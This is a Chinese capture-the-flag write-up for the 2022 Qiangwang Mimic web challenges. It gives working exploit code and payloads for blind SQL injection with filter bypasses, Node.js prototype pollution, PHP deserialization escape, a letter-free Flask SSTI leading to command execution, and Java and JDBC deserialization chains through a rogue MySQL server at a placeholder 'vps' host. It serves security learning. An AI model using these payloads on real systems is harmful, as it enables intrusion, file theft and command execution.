2022强网拟态WP-Web(ALL)
字数 2298 2025-08-06 18:07:51
2022强网拟态Web题目全解技术分析
1. popsql题目分析
1.1 题目概述
- 登录界面存在SQL注入漏洞
- 仅当用户名为admin时才会执行SQL注入语句
- 密码参数存在时间盲注漏洞
1.2 注入限制
- 过滤的关键字:
union,join,; - 空格被过滤,可使用
/**/绕过
1.3 注入技术
- 使用
benchmark函数进行时间盲注 - 通过
STRCMP函数比较字符串 - 使用
/**/代替空格绕过过滤
1.4 注入流程
- 确认flag不在users表中
- 发现flag表名为
FL49IsH3rE - 通过系统表
sys.schema_table_statistics获取查询历史 - 最终获取flag字段名为
f1aG123
1.5 关键注入代码
import string
import time
import requests
def get_str(s):
end="0x"
for c in s:
end+=str(hex(ord(c)))[2::]
return end
def getDatabase():
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
test_str=get_str(ans+chr(mid))
query = "select group_concat(f1aG123) from Fl49ish3re"
sql = f"select case STRCMP(({query}),{test_str}) when 0 then 0 when 1 then 1 else benchmark(511111111,1) end"
password = f"xxx'or({sql.replace(' ','/**/')})or'"
data = {"username": "admin", "password": password}
res = requests.post(url, data=data)
if res.elapsed.total_seconds() > 2:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
2. WHOYOUARE题目分析
2.1 题目概述
- Node.js应用,存在原型污染漏洞
- 通过JSON格式输入进行污染攻击
2.2 关键限制
command必须为数组类型- 数组最多两个元素
- 每个元素必须为字符串且长度≤4
- 必须以字母/数字/
-开头
2.3 污染技术
- 使用两层
constructor.prototype绕过已赋值的参数污染 - 通过污染
Array.prototype来修改command数组
2.4 攻击流程
- 构造特殊JSON污染
Array.prototype - 设置
command为["-c"](满足校验条件) - 通过原型污染修改
command[1]为任意命令
2.5 关键攻击代码
import requests
url="http://127.0.0.1:3000/user"
user='''{"constructor":{"prototype":{"constructor":{"prototype":{"1":"cat /flag"}}}},"username":{"OK":"a"},"command":["-c"]}'''
requests.post(url=url, json={"user": user})
3. ezus题目分析
3.1 题目概述
- PHP应用,存在多层面漏洞
- 主要利用点:
basename函数特性、反序列化字符逃逸、文件包含
3.2 第一层:源码泄露
- 利用
basename特性:当文件名全为非ASCII字符时,返回上一层目录 - 构造URL:
http://target/index.php/tm.php/%ff?source
3.3 第二层:反序列化逃逸
object_sleep和object_weakup函数存在替换差异- 每次替换
\0*\0为@0@0@0@产生4字符偏移 - 需要28字符偏移,使用7次替换
3.4 第三层:文件包含与读取
- 绕过
__wakeup:修改对象计数(PHP 5.x特性) - 文件包含限制:文件名必须包含"try"和"pass"
- URL验证:域名必须以"prankhub"结尾
3.5 攻击流程
- 构造反序列化逃逸payload
- 触发
order::__destruct - 使用非协议URL绕过验证:
h0cksr://prankhub/../../../../../../../f1111444449999.txt
3.6 关键攻击代码
class order {
public $f;
public $hint;
}
$o= new order();
$o->f='trypass';
$o->hint='h0cksr://prankhub/../../../../../../../f1111444449999.txt';
$ser=str_replace('"order":2','"order":3',serialize($o));
4. 没人比我更懂py题目分析
4.1 题目概述
- Python Flask SSTI漏洞
- 限制:不能使用字母字符
4.2 绕过技术
- 使用八进制编码绕过字母限制
- 通过
__subclasses__找到Popen类 - 使用循环遍历找到可用类索引
4.3 攻击流程
- 构造无字母SSTI payload
- 通过
__subclasses__找到Popen类(索引81) - 执行任意系统命令
4.4 关键攻击代码
def get(exp):
dicc = []
exploit = ""
for i in range(256):
eval("dicc.append('{}')".format("\\" + str(i)))
for i in exp:
exploit += "\\" + str(dicc.index(i))
return exploit
payload = "{{" + f"''['{get('__class__')}']['{get('__mro__')}']['{get('__getitem__')}'](1)['{get('__subclasses__')}']()['{get('pop')}'](81)['{get('__init__')}']['{get('__globals__')}']" \
f"['{get('__builtins__')}']['{get('__import__')}']('{get('os')}')['{get('popen')}']('{get('cat /flag')}')['{get('read')}']()" + "}}"
5. NoRCE题目分析
5.1 题目概述
- Java反序列化漏洞
- 依赖:mysql-connector-java 5.0.3
- 限制:过滤特定类名
5.2 关键类分析
-
MyObjectInputStream过滤:com.example.demo.bean.Connectjava.security.*java.rmi.*
-
Connect类:通过JDBC连接MySQL
5.3 攻击链构造
BadAttributeValueExpException触发toStringMyBean.toString调用JMXConnector.connect- 使用
RMIConnector触发二次反序列化 - 二次反序列化触发
Connect.connect - 通过JDBC连接恶意MySQL服务读取文件
5.4 恶意MySQL服务利用
- 使用
rogue_mysql_server项目 - 配置
jdbc:mysql://vps:port/file:///?allowLoadLocalInfile=true
5.5 关键攻击代码
// 首次反序列化
public static byte[] getTest(String message,RMIConnector rmiConnector) throws Exception {
MyBean myBean = new MyBean("url",message,rmiConnector);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp, "val",myBean);
return serialize(exp);
}
// 二次反序列化
public static Object getObject() throws Exception {
String url ="jdbc:mysql://vps:3306/file:///?allowLoadLocalInfile=true";
Connect connect = new Connect(url,"","");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
MyBean myBean = new MyBean("url","message",connect);
setFieldValue(exp, "val",myBean);
return exp;
}
6. easy_java题目分析
6.1 题目概述
- JDBC连接参数注入
- 利用MySQL客户端反序列化漏洞
6.2 关键限制
- 检查
autoDeserialize参数(大小写不敏感) - 参数值经过URL解码后检查
6.3 绕过技术
- 对
autoDeserialize进行URL编码:%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65 - 在编码后添加空格绕过检查
6.4 攻击流程
- 设置恶意MySQL服务使用Groovy1链
- 构造特殊JDBC URL:
jdbc:mysql://vps:3306/test?connectionAttributes=t:grovy1&%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65 =true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor - 触发反序列化执行命令
6.5 关键配置
# rogue_mysql_server配置
yaml:
exploit: groovy1
command: "cat /flag"
总结
本次强网拟态Web题目涵盖了多种安全漏洞类型和技术:
- SQL注入:绕过过滤的时间盲注技术
- 原型污染:多层
constructor.prototype绕过已赋值参数 - PHP反序列化:字符逃逸、
__wakeup绕过、文件包含 - SSTI:无字母字符绕过技术
- Java反序列化:二次反序列化绕过、JDBC利用
- 协议解析:URL编码和参数解析特性
每种漏洞都展示了不同的绕过思路和利用技巧,对Web安全研究具有重要参考价值。